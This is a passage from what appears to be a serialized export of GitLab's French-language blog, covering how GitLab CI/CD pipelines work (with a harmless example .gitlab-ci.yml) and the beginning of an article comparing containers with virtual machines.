démarrage.\n\nConcrètement, **chaque modification déclenche un pipeline qui construit le logiciel, exécute les tests, analyse la sécurité et prépare une version déployable.** Les équipes obtiennent des retours immédiats, ce qui leur permet d'identifier les erreurs tôt et de travailler de manière itérative. \n\nGrâce à cette centralisation, la collaboration est facilitée et l'état du logiciel reste visible et compréhensible à chaque étape de son cycle de développement.\n\n## Pourquoi GitLab CI/CD est devenu une référence dans le développement logiciel ?\n\nDans de nombreuses organisations, l'adoption du CI/CD se heurte à un obstacle récurrent : la fragmentation des outils. Une chaîne de développement qui repose sur des solutions trop nombreuses et disparates devient rapidement lente, difficile à maintenir et propice aux erreurs de configuration.\n\nFace à cette fragmentation, GitLab apporte une réponse concrète : une plateforme qui **réunit le code, les pipelines, la sécurité et le déploiement dans un seul et même environnement.** Les équipes n'ont plus à gérer de multiples outils, ce qui réduit la complexité et fluidifie l'ensemble du workflow de développement logiciel.\n\nAinsi, **les logs, artefacts, résultats de tests et statuts de déploiement cohabitent dans le même espace que le code**, ce qui offre un gain de visibilité significatif aux équipes. Les pipelines se déclenchent directement depuis les merge requests pour obtenir des retours plus rapidement et limiter les régressions tardives.\n\nCette cohérence, alliée à la possibilité d’intégrer dès le départ l’analyse de sécurité ou la gestion des dépendances, explique pourquoi **GitLab CI/CD est aujourd’hui largement adopté par les organisations qui cherchent à fluidifier leurs cycles de livraison logicielle.**\n\n> **Radio France déploie 5 fois plus rapidement avec GitLab CI/CD**\n>\n> Radio France, la société nationale de radiodiffusion française, compte sept stations dans tout le pays. Radio France conçoit, développe et exploite des sites web, des applications mobiles, des API, des podcasts, des assistants vocaux et des plateformes de streaming audio.\n>\n> Avant d'adopter GitLab CI/CD, les équipes utilisaient GitLab pour le code source et Jenkins pour tous les builds en production, ce qui les obligeait à basculer constamment entre les deux outils.\n>\n> Après avoir migré l'ensemble de leurs pipelines vers GitLab CI/CD, les résultats ont été immédiats :\n>\n> - **5x plus rapide de déployer**\n>\n> - **82 % de réduction de la durée de cycle**\n>\n> - **70 % d'économies annuelles sur les coûts CI/CD**\n>\n> *« Nous étions à 10 déploiements par jour avant la migration. Maintenant, avec GitLab, nous effectuons 50 déploiements par jour en production. Nous n'avons plus à basculer entre GitLab et Jenkins. »* — Julien Vey, Operational Excellence Manager, Radio France\n>\n> [Lire le cas client complet >](https://about.gitlab.com/fr-fr/customers/radiofrance/)\n\n## Comment fonctionne un pipeline GitLab CI/CD ?\n\nDans GitLab, **un pipeline est une suite d’étapes exécutées automatiquement à chaque modification du code.** Il se déclenche lors d’un commit, d’une merge request ou d’un événement planifié. Son rôle est de valider la modification et de produire les artefacts nécessaires. Si tout est conforme, il prépare ou déclenche directement le déploiement. \n\n### Les étapes et les jobs\n\nUn pipeline GitLab est composé d'**étapes** (build, test, déploiement…), chacune regroupant un ou plusieurs **jobs**. Les jobs indiquent les actions à exécuter, comme compiler le code ou lancer une suite de tests. **GitLab exécute les jobs d'une même étape en parallèle (en fonction de la disponibilité des runners), gère les dépendances et passe automatiquement à l'étape suivante lorsque tous les jobs de la précédente sont terminés.** Les logs associés à chaque job permettent de suivre l'exécution en détail.\n\nPar défaut, GitLab attend que tous les jobs d'une étape soient terminés avant de passer à la suivante. Pour les pipelines où cette séquence stricte n'est pas nécessaire, le mot-clé `needs:` permet de définir des dépendances directes entre jobs, indépendamment de leur étape. Un job peut ainsi démarrer dès qu'un job précis est terminé, sans avoir à attendre la fin de toute l'étape. Cette approche, appelée **DAG (Directed Acyclic Graph)**, peut réduire considérablement la durée totale d'un pipeline en parallélisant davantage l'exécution. Dans l’interface, ces pipelines apparaissent sous forme de graphe de dépendances, ce qui facilite la compréhension de l’ordre réel d’exécution.\n\n### Les artefacts et le cache : transfert et réutilisation\n\nLes artefacts et le cache sont deux mécanismes de persistance de fichiers entre jobs, souvent confondus.\n\nLes **artefacts** sont les **fichiers générés par un job**, comme un binaire, un rapport de test ou un paquet. Ils peuvent être transmis aux jobs suivants ou conservés pendant une durée définie. Cette gestion intégrée évite les transferts manuels et facilite la **reproductibilité des pipelines.**\n\nLe **cache**, quant à lui, **permet de réutiliser des fichiers entre plusieurs exécutions d'un même pipeline**, typiquement les dépendances (node_modules, packages Maven, gems Ruby…). \n\nLà où les artefacts transfèrent des fichiers d'un job au suivant au sein d'un même pipeline, le cache évite de re-télécharger les mêmes ressources à chaque nouvelle exécution. C'est souvent l'une des premières optimisations à mettre en place pour réduire significativement la durée des pipelines.\n\nEn pratique : les artefacts sont obligatoires pour le job suivant, alors que le cache est optionnel et uniquement là pour aller plus vite.\n\n### Les runners : là où s’exécutent réellement les jobs\n\nLes runners sont les **machines qui exécutent réellement les jobs.** GitLab propose des runners hébergés sur GitLab.com (Linux, Windows, macOS) ou permet d’en installer sur ses propres serveurs ou environnements cloud, notamment en s’appuyant sur la [conteneurisation](https://about.gitlab.com/fr-fr/blog/what-is-containerization/ \"Qu'est-ce que la conteneurisation ?\").\n\nLorsqu'on installe son propre runner, il faut également choisir un executor, c'est-à-dire le mécanisme par lequel le runner exécute les jobs. \n\nLes [executors](https://docs.gitlab.com/runner/executors/) les plus courants sont :\n\n- **Docker** : il exécute chaque job dans un conteneur isolé. Il est rapide, flexible et recommandé pour la majorité des projets.\n\n- **Shell** : il exécute directement les jobs sur la machine hôte. Il est simple, mais sans isolation.\n\n- **[Kubernetes](https://about.gitlab.com/fr-fr/blog/kubernetes-the-container-orchestration-solution/ \"Qu'est-ce que Kubernetes ?\")** : il exécute les jobs dans des pods Kubernetes, avec une scalabilité native.\n\nLe choix de l'executor conditionne directement l'isolation, la reproductibilité et les performances des jobs. Il est indépendant du runner lui-même et se configure au moment de l'installation.\n\nLes tags associés aux runners permettent de cibler un environnement spécifique et d’adapter l’exécution aux besoins du pipeline.\n\nPour en savoir plus sur les runners de GitLab, consultez notre article de blog « [GitLab Runner : installation, configuration et bonnes pratiques pour vos pipelines CI/CD](https://about.gitlab.com/fr-fr/blog/what-is-gitlab-runner/ \"Qu'est-ce qu'un GitLab Runner ?\") ».\n\n### Configuration d’un pipeline GitLab CI/CD\n\nTout pipeline GitLab prend forme dans un fichier **.gitlab-ci.yml** placé à la racine du projet. Ce fichier définit les étapes, les jobs, les scripts à exécuter, les variables, les dépendances ou encore les artefacts à conserver. GitLab lit ce fichier à chaque modification de code et déclenche un pipeline conforme à sa configuration.\n\nIl est utile de distinguer deux types de pipelines selon leur contexte de déclenchement : \n- Le **pipeline de branche** s'exécute lors d'un push direct sur une branche. \n- Le **pipeline de merge request** se déclenche dès qu'une merge request est ouverte ou mise à jour. Il peut s’exécuter soit sur le contenu de la branche source, soit sur le résultat simulé du merge avec la branche cible (grâce aux [pipelines de résultats de merge](https://docs.gitlab.com/ci/pipelines/merged_results_pipelines/)), avant même que celle-ci ne soit effectuée.\n\nCette distinction est importante en pratique : elle permet de réserver certains jobs coûteux ou sensibles (comme les scans de sécurité approfondis ou les déploiements) à un contexte précis, et d'obtenir un retour sur la qualité du code fusionné le plus tôt possible. C'est l'un des leviers concrets pour détecter les régressions avant qu'elles n'atteignent la branche principale.\n\nVoici un exemple de fichier `.gitlab-ci.yml` illustrant la structure d'un pipeline GitLab :\n\n```yaml\nstages:          # Définit l'ordre d'exécution des étapes du pipeline\n  - build\n  - test\n  - deploy\n\nvariables:       # Variables accessibles par tous les jobs du pipeline\n  APP_ENV: \"production\"\n\nbuild-job:\n  stage: build\n  image: node:20                    # Image Docker utilisée pour exécuter ce job\n  cache:\n    key: $CI_COMMIT_REF_SLUG        # Cache propre à chaque branche\n    paths:\n      - node_modules/               # Dossier de dépendances mis en cache\n  script:\n    - echo \"Compilation du code...\"\n  artifacts:\n    paths:\n      - dist/                       # Fichiers générés transmis aux jobs suivants\n    expire_in: 1 hour               # Durée de conservation de l'artefact\n\ntest-job:\n  stage: test\n  image: node:20\n  needs: [\"build-job\"]             # Démarre dès que build-job est terminé (DAG)\n  script:\n    - echo \"Exécution des tests...\"\n\ndeploy-job:\n  stage: deploy\n  script:\n    - echo \"Déploiement en production...\"\n  rules:\n    - if: $CI_COMMIT_BRANCH == \"main\"  # S'exécute uniquement sur la branche principale\n```\n\nCe pipeline illustre plusieurs mécanismes clés de GitLab CI/CD : \n\n- La variable `APP_ENV` est accessible par l'ensemble des jobs. \n\n- Le `build-job` utilise une image Docker Node.js 20, met en cache les dépendances pour accélérer les exécutions suivantes, et produit un artefact, le dossier `dist/`, transmis automatiquement aux jobs suivants. \n\n- Le `test-job` démarre dès que le build est terminé grâce au mot-clé `needs:`, sans attendre la fin de l'étape entière. \n\n- Le `deploy-job` ne s'exécute que sur la branche principale, via une règle `rules:`.\n\nPour les équipes qui débutent avec le CI/CD, GitLab propose également la fonctionnalité d’**[Auto DevOps](https://docs.gitlab.com/topics/autodevops/)** qui détecte automatiquement le langage de votre projet et configure un pipeline prêt à l'emploi, sans fichier `.gitlab-ci.yml`. Auto DevOps couvre les étapes de build, de test, d'analyse de sécurité et de déploiement, et peut être personnalisé progressivement selon vos besoins.\n\n**Bon à savoir** : Comme montré dans l’exemple, GitLab peut exécuter un job à partir d’une image [Docker](https://about.gitlab.com/fr-fr/blog/what-is-docker-comprehensive-guide/ \"Qu'est-ce que Docker ?\") spécifique, définie via le mot-clé `image:` dans le fichier `.gitlab-ci.yml`. Une image par défaut peut être configurée pour l’ensemble du pipeline, tandis que chaque job peut utiliser sa propre image si nécessaire. Cette flexibilité permet d’adapter l’environnement d’exécution à chaque étape, sans maintenance manuelle de serveurs. Les images peuvent provenir du Docker Hub ou du registre de conteneurs de GitLab ([GitLab Container Registry](https://docs.gitlab.com/user/packages/container_registry/)), ce qui permet de choisir rapidement l’environnement adapté.\n\n## Les fonctionnalités avancées de GitLab CI/CD\n\n### Les variables pour personnaliser et sécuriser un pipeline\n\nLes **[variables CI/CD](https://docs.gitlab.com/ci/variables/)** permettent de **transmettre des valeurs aux jobs sans les inscrire directement dans le code.** Elles peuvent contenir des paramètres techniques, des clés d’API ou des informations sensibles.\n\n**GitLab distingue plusieurs types de variables** : personnalisées, prédéfinies, protégées, masquées ou de type fichier. Cette granularité **facilite la configuration et limite l’exposition d’informations critiques dans les logs.**\n\n### Les règles CI/CD pour rendre les pipelines dynamiques\n\nLes règles (`rules:`) permettent d'adapter la logique du pipeline en fonction du contexte d'exécution. Elles s'appuient sur des conditions comme `if:`, `changes:` ou `exists:` pour contrôler quand un job doit s'exécuter.\n\nElles permettent par exemple d'activer certaines étapes selon la branche ou de déclencher des comportements différents selon le type de pipeline exécuté. C'est un moyen d'alléger la configuration et de conserver un pipeline adaptable.\n\n### Les composants et le catalogue CI/CD pour construire des pipelines réutilisables\n\nLes **composants CI/CD ([CI/CD components](https://docs.gitlab.com/ci/components/))** sont des **blocs de configuration réutilisables**. Ils peuvent représenter un ensemble de jobs, une intégration, une logique de test ou un processus de déploiement.\n\nCes composants peuvent être publiés dans le **catalogue CI/CD ([CI/CD catalog](https://docs.gitlab.com/ci/components/#cicd-catalog))**, une spécificité de GitLab qui permet de les partager à l’échelle d’une équipe ou de l’organisation. Cela réduit la duplication des tâches et rend la maintenance des pipelines beaucoup plus souple.\n\n**Bon à savoir** : Le catalogue CI/CD inclut des composants publiés par GitLab et la communauté pour des environnements courants comme Java/Maven, ce qui évite de recréer des configurations complexes pour chaque projet.\n\n### Les groupes de ressources pour contrôler les déploiements concurrents\n\nLes **groupes de ressources** permettent de **limiter l’exécution simultanée de certains jobs.** Ils sont particulièrement utiles pour les déploiements, afin d’**éviter que deux pipelines ne modifient un même environnement au même moment.** GitLab met en file d’attente les jobs qui partagent un même groupe et n’en exécute qu'un seul à la fois.\n\n### Les environnements pour gérer et suivre les déploiements\n\nLes environnements de GitLab permettent de définir et de suivre les cibles de déploiement, comme la préproduction ou la production. Chaque déploiement est associé à un environnement, ce qui offre une traçabilité complète : qui a déployé quoi, quand et depuis quel pipeline.\n\nLes environnements peuvent être protégés pour restreindre les déploiements à certaines branches ou à certains utilisateurs, ce qui réduit les risques d'erreurs en production. GitLab affiche également l'état de chaque environnement en temps réel, directement depuis l'interface.\n\n### Les Review Apps pour tester chaque merge request dans un environnement dédié\n\nLes **environnements éphémères (ou [Review Apps](https://docs.gitlab.com/ci/review_apps/))** poussent la logique des environnements un cran plus loin : GitLab peut déployer automatiquement un environnement éphémère pour chaque merge request, accessible via un lien directement depuis l'interface. Chaque modification devient ainsi testable dans des conditions réelles, sans attendre une intégration dans la branche principale.\n\nL'environnement est détruit automatiquement à la fermeture de la merge request, ce qui évite toute accumulation de ressources inutiles. Pour les équipes qui impliquent des profils non techniques dans le processus de validation (product managers, designers, équipes QA) c'est un levier concret pour raccourcir les cycles de revue et détecter les régressions plus tôt.\n\n### Pipelines parent-enfant et multi-projets\n\nGitLab peut **déclencher un pipeline depuis un autre pipeline (modèle parent-enfant) ou orchestrer plusieurs projets dans un workflow commun (pipelines multi-projets).**\n\nCes mécanismes sont utilisés pour les architectures modulaires, les [monorepos](https://about.gitlab.com/fr-fr/blog/building-a-gitlab-ci-cd-pipeline-for-a-monorepo-the-easy-way/), les écosystèmes multicomposants ou les déploiements distribués. Ils permettent de découper les pipelines tout en conservant une coordination centralisée.\n\n## Comment GitLab CI/CD s’intègre dans votre démarche DevSecOps ?\n\nGitLab CI/CD ne se limite pas à automatiser les livraisons : il relie aussi naturellement le développement, la sécurité et les opérations ([DevSecOps](https://about.gitlab.com/fr-fr/topics/devsecops/ \"Qu'est-ce que le DevSecOps ?\")) au sein d'un même workflow.\n\n### Build, test, sécurité et déploiement dans un même environnement\n\n**GitLab CI/CD s’exécute directement là où se trouvent déjà le code, les merge requests, la sécurité et les déploiements.** Cela réduit les frictions entre équipes : les développeurs disposent d’un pipeline qui teste, analyse et prépare les déploiements, tandis que les équipes sécurité et opérations visualisent les effets de chaque modification dans un même espace.\n\n### Sécurité intégrée dans les pipelines de GitLab\n\nLes scans SAST, DAST, l’analyse des dépendances ou l’analyse des conteneurs peuvent être ajoutés comme jobs standard du pipeline, selon votre abonnement GitLab.\n\n**Comme ces fonctionnalités sont intégrées nativement, elles ne nécessitent ni outils externes ni configuration lourde.** Les résultats s’affichent dans les merge requests, ce qui permet d’aborder la sécurité en amont, sans ralentir les cycles de développement.\n\nAu-delà des scans intégrés, un job peut aussi invoquer un outil tiers comme SonarQube pour compléter l’analyse de qualité du code et détecter la dette technique.\n\n### Retour continu entre les équipes\n\nChaque pipeline fournit des logs, des rapports de tests, des alertes de sécurité et des informations sur les déploiements, consultables dans une seule interface.\n\nLes **retours sont donc immédiats** : une erreur de test, un échec de build ou une alerte de vulnérabilité apparaît directement dans la merge request. Cela **facilite les arbitrages et favorise des décisions rapides et éclairées à chaque étape du cycle de développement**.\n\n## L'IA au cœur du cycle DevSecOps avec GitLab Duo Agent Platform\n\nGitLab intègre des capacités d'IA à chaque étape du cycle de développement logiciel via **[GitLab Duo Agent Platform](https://about.gitlab.com/fr-fr/gitlab-duo-agent-platform/ \"GitLab Duo Agent Platform\")**, une plateforme d’agents spécialisés qui collaborent autour du code, des pipelines et des outils existants. L’objectif n’est pas de remplacer les équipes, mais de leur fournir des agents qui automatisent les tâches répétitives, orchestrent les workflows et accélèrent les décisions tout au long du pipeline.\n\n### Agents pour l’écriture, la revue et l’industrialisation du code \n\nAvec **GitLab Duo Agent Platform**, les capacités d’IA ne se limitent plus à de simples complétions : elle se matérialise sous forme d’**agents GitLab Duo disponibles par défaut (Foundational agents)** (proposés par GitLab, prêts à l’emploi) et d’**agents GitLab Duo personnalisés** (configurés par vos équipes) que vous pouvez adapter à vos propres projets.\n\n- **L’agent GitLab Duo orienté code (Foundational agent).** Cet agent s’appuie sur les capacités natives de GitLab Duo (complétion, génération et refactorisation de code) dans l’[IDE](https://about.gitlab.com/fr-fr/blog/what-is-an-ide/ \"Qu'est-ce qu'un IDE ?\") et le Web IDE. Il aide les équipes à écrire, adapter ou moderniser le code tout en respectant les standards et conventions de vos projets.\n\n- **L’agent GitLab Duo CI/CD personnalisé.** Avec GitLab Duo Agent Platform, il est possible de définir un agent spécialisé CI/CD : il peut générer ou corriger un fichier `.gitlab-ci.yml`, expliquer un pipeline existant, proposer des optimisations (cache, parallélisation, stratégie de runners) et diagnostiquer les erreurs de jobs. Cet agent est personnalisé par les équipes, en fonction de leurs patterns et de leurs contraintes.\n\n- **L’agent GitLab Duo Doc & Connaissance personnalisé.** En s’appuyant sur GitLab Duo Chat connecté au contexte de GitLab, un agent “Connaissance projet” permet d’interroger en langage naturel le code, les merge requests, les tickets et la configuration CI/CD pour comprendre rapidement l’état d’un projet ou la cause probable d’un échec de build. Cet agent exploite les mêmes fondations que GitLab Duo Chat, mais est spécialisé sur votre périmètre (projets, groupes) et vos règles internes.\n\nPour en savoir plus sur les agents d’IA par défaut, personnalisables et externes disponibles sur GitLab Duo Agent Platform, [consultez notre documentation](https://docs.gitlab.com/user/duo_agent_platform/agents/).  \n\n### Analyse proactive des merge requests par des agents \n\nPlutôt qu’un simple résumé automatique, GitLab Duo Agent Platform permet de confier la merge request à un **agent dédié GitLab** (par exemple l’*[agent CI Expert](https://docs.gitlab.com/user/duo_agent_platform/agents/foundational_agents/ci_expert_agent/)*) ou à un **flow par défaut (Foundational flow) spécialisé dans la revue de code** (par exemple le flow *[Code Review](https://docs.gitlab.com/user/duo_agent_platform/flows/foundational_flows/code_review/)*) qui :\n\n- Synthétise les changements (fonctionnels, sécurité, performance) et met en avant les impacts majeurs.\n- Signale les risques potentiels (endroits sensibles du code, dettes techniques aggravées, modifications de contrats d’API).\n- Propose des points d’attention ciblés pour les relecteurs, voire des suggestions de corrections ou de tests manquants.\n\nCes capacités aident à réduire le temps de revue, à standardiser la qualité des merge requests et à impliquer des profils moins techniques dans l’évaluation des changements.\n\n### IA et sécurité : agents pour expliquer, corriger et gouverner les vulnérabilités \n\nAvec GitLab Duo Agent Platform, la sécurité est prise en charge par un ou plusieurs **agents orientés AppSec** (par exemple l’*[agent Security Analyst](https://docs.gitlab.com/user/duo_agent_platform/agents/foundational_agents/security_analyst_agent/)*) qui :\n\n- Consomment les résultats des scans de sécurité (SAST, DAST, analyse des dépendances, analyse des conteneurs, etc.).\n- Expliquent chaque vulnérabilité dans le langage de l’équipe (contexte, scénario d’attaque probable, impact métier).\n- Proposent des patchs concrets ou des refactorings, que les équipes de développement peuvent appliquer et ajuster.\n- Aident à prioriser les vulnérabilités en croisant criticité, surface d’exposition, historique du projet et politiques internes.\n\nCes agents permettent de passer d’une gestion réactive des vulnérabilités à une **gouvernance continue de la posture de sécurité**, directement intégrée dans les pipelines et les merge requests.\n\n### GitLab Duo Agent Platform : vers des pipelines autonomes \n\n**GitLab Duo Agent Platform** représente l'étape suivante : non plus seulement déclencher des jobs prévus à l’avance, mais **confier des tâches complètes à des agents d’IA** capables de raisonner sur l’état du projet et du pipeline. \n\nUn agent peut par exemple analyser un échec de build, proposer un correctif, ouvrir ou mettre à jour une merge request, relancer les jobs nécessaires, ou encore alerter les bonnes personnes avec un résumé exploitable. Cette approche commence à transformer la notion même de pipeline CI/CD : nous passons d’une **automatisation statique** (des scripts fixés dans `.gitlab-ci.yml`) à une **orchestration adaptative**, où des agents spécialisés et des flows agentiques collaborent autour du pipeline pour diagnostiquer, corriger et optimiser en continu.\n\n## Pourquoi choisir GitLab CI/CD ?\n\n### Une plateforme qui simplifie le CI/CD\n\nLa plupart des outils CI reposent sur une logique d'assemblage : un outil pour le code, un autre pour les tests, un autre pour la sécurité, puis un outil de déploiement. Cette fragmentation complique la maintenance et disperse les informations entre plusieurs interfaces.\n\nGitLab adopte une **approche unifiée** : le code, les pipelines, la sécurité, la revue et les déploiements reposent sur une seule plateforme, pour des workflows plus simples et plus cohérents.\n\n### Des fonctionnalités propres à GitLab\n\nGitLab CI/CD dispose de capacités propres à la plateforme et difficiles à reproduire avec une chaîne d'outils fragmentée :\n\n- le catalogue CI/CD (CI/CD Catalog) et les composants (CI/CD components) pour standardiser les pipelines,\n- les runners hébergés par GitLab sur GitLab.com (Linux, Windows, macOS),\n- l’intégration native de la sécurité dans les pipelines,\n- l'éditeur de pipeline ([Pipeline Editor](https://docs.gitlab.com/ci/pipeline_editor/)), un éditeur intégré avec validation en temps réel et visualisation du graphe du pipeline,\n- la gestion complète des merge requests et des protections de branches intégrée au cycle CI/CD,\n- l’IA intégrée à chaque étape du cycle de développement logiciel avec GitLab Duo Agent Platform. \n\nCes éléments permettent de **construire des pipelines complets sans dépendre d’extensions ou de services externes**.\n\n### Une expérience DevSecOps unifiée\n\nComme **l’ensemble du workflow de développement repose sur un environnement unique**, chaque modification bénéficie automatiquement des tests, des analyses de sécurité, des logs de déploiement et des retours dans les merge requests.\n\n**Les équipes travaillent donc sur un cycle continu**, avec moins de ruptures contextuelles et une vue consolidée de la qualité du logiciel à chaque étape.\n\n## Par où commencer avec GitLab CI/CD ?\n\nGitLab CI/CD est conçu pour s'adapter à tous les niveaux de maturité. \n\nLes équipes qui débutent peuvent s'appuyer sur la fonctionnalité Auto DevOps pour obtenir un premier pipeline fonctionnel sans configuration, puis affiner progressivement leur fichier `.gitlab-ci.yml` au fur et à mesure que leurs besoins évoluent.\n\nPour les équipes déjà avancées, les composants du catalogue CI/CD, les pipelines DAG, les Review Apps et l'intégration native de la sécurité permettent de construire des workflows robustes, reproductibles et adaptés à des architectures complexes.\n\nGitLab Duo Agent Platform vient compléter cet ensemble en apportant une couche d'intelligence à chaque étape : assistance à la configuration, analyse des vulnérabilités, résumé des merge requests et, progressivement, des agents capables d'agir de manière autonome dans les pipelines.\n\nDans les deux cas, l'objectif reste le même : réduire le délai entre un commit et sa mise en production, tout en maintenant un niveau de qualité et de fiabilité élevé à chaque étape.\n\n> **[→ Prêt à franchir le pas ? Commencez un essai gratuit de GitLab Ultimate](https://about.gitlab.com/fr-fr/free-trial/devsecops/?utm_medium=blog&utm_source=blog&utm_campaign=eg_emea_x_trial_x_fr_blog_fr) et explorez l'ensemble des fonctionnalités CI/CD dans votre propre environnement.**\n\n> ### GitLab CI/CD en résumé\n> GitLab CI/CD réunit dans une même plateforme l’ensemble du cycle DevSecOps : le code, les pipelines, les tests, la sécurité, les artefacts et les déploiements. Cette intégration évite la multiplication d’outils et permet de suivre chaque modification de code jusqu’à sa mise en production dans un environnement cohérent.\n>\n> Un pipeline GitLab s’appuie sur plusieurs éléments clés :\n> - un fichier `.gitlab-ci.yml` qui définit les étapes et les jobs,\n> - des runners qui exécutent les tâches,\n> - des artefacts pour transmettre ou conserver les fichiers produits,\n> - le cache pour accélérer les exécutions en évitant de re-télécharger les dépendances à chaque pipeline,\n> - des variables pour adapter le comportement du pipeline en toute sécurité,\n> - le catalogue CI/CD et les composants pour standardiser les configurations à l’échelle d’un projet ou d’une organisation.\n>\n> Cette structure offre un espace unique pour analyser les résultats des tests, vérifier les analyses de sécurité et suivre les déploiements.\n>\n> GitLab Duo Agent Platform vient enrichir cette structure en y apportant une couche d'intelligence : des agents capables d'assister la configuration, d'analyser les vulnérabilités et d'orchestrer des actions correctives de manière autonome.",[89,550,540],"https://res.cloudinary.com/about-gitlab-com/image/upload/v1775561395/bhe1as7ttjvzltxwgo5m.png",{"featured":691,"template":843,"slug":1012},"what-is-gitlab-ci-cd",{"content":1014,"config":1023},{"title":1015,"description":1016,"authors":1017,"date":1019,"body":1020,"category":553,"tags":1021,"heroImage":1022},"Conteneurs et machines virtuelles : quelle différence ?","Les conteneurs et les machines virtuelles sont deux approches de virtualisation aux architectures différentes. Découvrez-en davantage sur leur fonctionnement et leurs principales différences.  ",[1018],"GitLab France Team","2026-03-03","Les conteneurs et les machines virtuelles sont deux technologies de virtualisation des ressources, essentielles pour le développement logiciel moderne. La machine virtuelle propose une copie numérique complète d'une machine physique, tandis que le conteneur partage le noyau du système d'exploitation hôte et n'embarque que les dépendances applicatives nécessaires à l'exécution de l'application.\n\nDans cet article, découvrez les différences architecturales entre ces deux approches et leurs champs d'application respectifs.\n\n> Essayez [GitLab Ultimate](https://about.gitlab.com/fr-fr/free-trial/devsecops/?utm_medium=blog&utm_source=blog&utm_campaign=eg_emea_x_trial_x_fr_blog_fr) gratuitement dès aujourd'hui !\n\n## Qu’est-ce qu’une machine virtuelle ?\n\n### Définition et fonctionnement\n\nLa machine virtuelle, ou virtual machine (VM) est un environnement informatique entièrement virtualisé qui reproduit virtuellement ses propres composants (CPU, GPU, mémoire RAM, disque dur et carte réseau) et exécute son propre système d’exploitation (OS).\n\nPlusieurs machines virtuelles peuvent coexister sur une même machine physique, chacune isolée des autres.\n\nLa création d'une machine virtuelle est rendue possible grâce à l'installation d'un hyperviseur sur un OS hôte. Cet outil de virtualisation effectue la partition des ressources matérielles et affecte des quotas système dédiés (processeur, mémoire, stockage, réseau) à chaque machine virtuelle.\n\nIl existe deux types d'hyperviseurs : les hyperviseurs de Type 1 (installés directement sur le matériel physique) et de Type 2 (installés sur un système d'exploitation hôte).\n\n### Avantages et limites de la machine virtuelle\n\nLa technologie de machine virtuelle offre une isolation forte sur machine physique. Résultat, le déploiement des machines virtuelles s'effectue dans un environnement étanche et sécurisé. Même si une machine virtuelle est piratée, elle ne pourra pas contaminer les autres machines. \n\nLe principe de fonctionnement via hyperviseur assure également une compatibilité optimale avec de multiples environnements. Une machine virtuelle peut ainsi être déployée sur différents systèmes d’exploitation hôtes comme Windows, Linux, macOS ou un serveur physique.\n\nToutefois, la machine virtuelle classique présente un inconvénient majeur : sa consommation de ressources. Elle est plus lourde qu’un conteneur, car chaque machine virtuelle embarque un système d’exploitation complet. Ce système a également tendance à offrir des démarrages plus longs que la [conteneurisation](https://about.gitlab.com/fr-fr/blog/what-is-containerization/ \"Qu'est-ce que la conteneurisation ?\"), plus légère et rapide.\n\n## Qu’est-ce qu’un conteneur ?\n\n### Définition et fonctionnement\n\nLe conteneur est une approche alternative de virtualisation, un paquet qui contient toutes les dépendances nécessaires à l'exécution d'une application logicielle (bibliothèques, codes tiers, fichiers, etc.). Il reproduit la couche applicative d'un système d'exploitation, mais sans ses composants externes. Il est donc beaucoup plus léger qu'une machine virtuelle. \n\nUn conteneur peut être exécuté isolément sur n'importe quel système d'exploitation en parallèle d'autres conteneurs, tous partageant le kernel (noyau) de l'OS hôte. Si [Docker](https://about.gitlab.com/fr-fr/blog/what-is-docker-comprehensive-guide/ \"Qu'est-ce que Docker ?\") est l’outil de référence des équipes de développement pour la gestion des conteneurs, la plateforme [Kubernetes](https://about.gitlab.com/fr-fr/blog/kubernetes-the-container-orchestration-solution/ \"Qu'est-ce que Kubernetes ?\") intervient quant à elle à un niveau supérieur en orchestrant ces conteneurs à grande échelle, en s'appuyant sur des moteurs d'exécution tels que containerd ou CRI-O.\n\n### Avantages et limites des conteneurs\n\nL'avantage premier du conteneur est sa légèreté et sa rapidité de déploiement. Vous déployez l’image du conteneur sur n’importe quel environnement compatible et l'application est déjà fonctionnelle, avec des démarrages quasi instantanés.\n\nAu contraire de la machine virtuelle, la virtualisation par conteneur est fortement dépendante de l'environnement hôte, car elle ne reproduit pas un nouvel OS complet. De plus, la compartimentation est moins optimale qu'avec la machine virtuelle, en raison du partage du kernel. Cela signifie qu'une vulnérabilité du kernel pourrait potentiellement affecter tous les conteneurs exécutés sur cet hôte.\n\n## Conteneurs vs machines virtuelles : les principales différences\n\n| **Critères**         | **Conteneur**                                                                                                                                                                                                                                                                                                                                                                                                  | **Machine virtuelle**                                                                                       |\n| -------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------- |\n| **Architecture**     | Virtualisation au niveau du système d’exploitation                                                                                                                                                                                                                                                                                                                                                             | Virtualisation au niveau matériel via un hyperviseur                                                        |\n| **Performances**     | Démarrage rapide en quelques secondes et utilisation des ressources plus faible                                                                                                                                                                                                                                                                                                                                | Démarrage plus lent que les conteneurs et consommation élevée en mémoire et CPU                             |\n| **Sécurité**         | Isolation au niveau du kernel via espaces de nommage et cgroups                                                                                                                                                                                                                                                                                                                                                | Isolation au niveau matériel (plus forte)                                                                   |\n| **Usages**           | Pour les [microservices](https://about.gitlab.com/fr-fr/topics/microservices/ \"Qu'est-ce qu'un microservice ?\"), applications [cloud-native](https://about.gitlab.com/fr-fr/topics/cloud-native/ \"Qu'est-ce que l'approche cloud-native ?\"), orchestration, [pipelines CI/CD](https://about.gitlab.com/fr-fr/topics/ci-cd/cicd-pipeline/ \"Qu'est-ce qu'un pipeline CI/CD ?\"), déploiements rapides et continus | Pour les applications héritées qui nécessitent une isolation complète et différents systèmes d’exploitation |\n| **Coûts et gestion** | Moins coûteux en ressources et en maintenance                                                                                                                                                                                                                                                                                                                                                                  | Plus coûteux à exploiter (licences, ressources matérielles)                                                 |\n\n### Architecture\n\nLes conteneurs et les machines virtuelles ne présentent pas la même architecture. Les machines virtuelles embarquent leur propre OS complet, alors que les conteneurs ne font que partager le noyau du système d'exploitation hôte. Ils n'exécutent que les applications qu'ils contiennent, nécessitent moins de ressources matérielles, mais offrent une isolation moins stricte que les machines virtuelles. \n\n### Performance et consommation\n\nSur ce point, les conteneurs ont clairement l'avantage. Ils démarrent quasi instantanément quand les machines virtuelles peuvent mettre plusieurs minutes pour s'exécuter. Cette différence s'explique par les ressources plus importantes consommées par les machines virtuelles. De leur côté, les conteneurs, étant beaucoup plus légers, sont également beaucoup moins gourmands en ressources.\n\n### Sécurité\n\nLa machine virtuelle offre une isolation plus stricte. Chaque machine virtuelle invitée est indépendante du système et des autres machines. Cela assure aux utilisateurs une protection complète. Les conteneurs partagent le noyau de l'OS hôte, leur étanchéité est donc moindre. Cependant, ils utilisent des mécanismes de sécurité du kernel (espaces de nommage, cgroups, sandboxing) pour atteindre un niveau 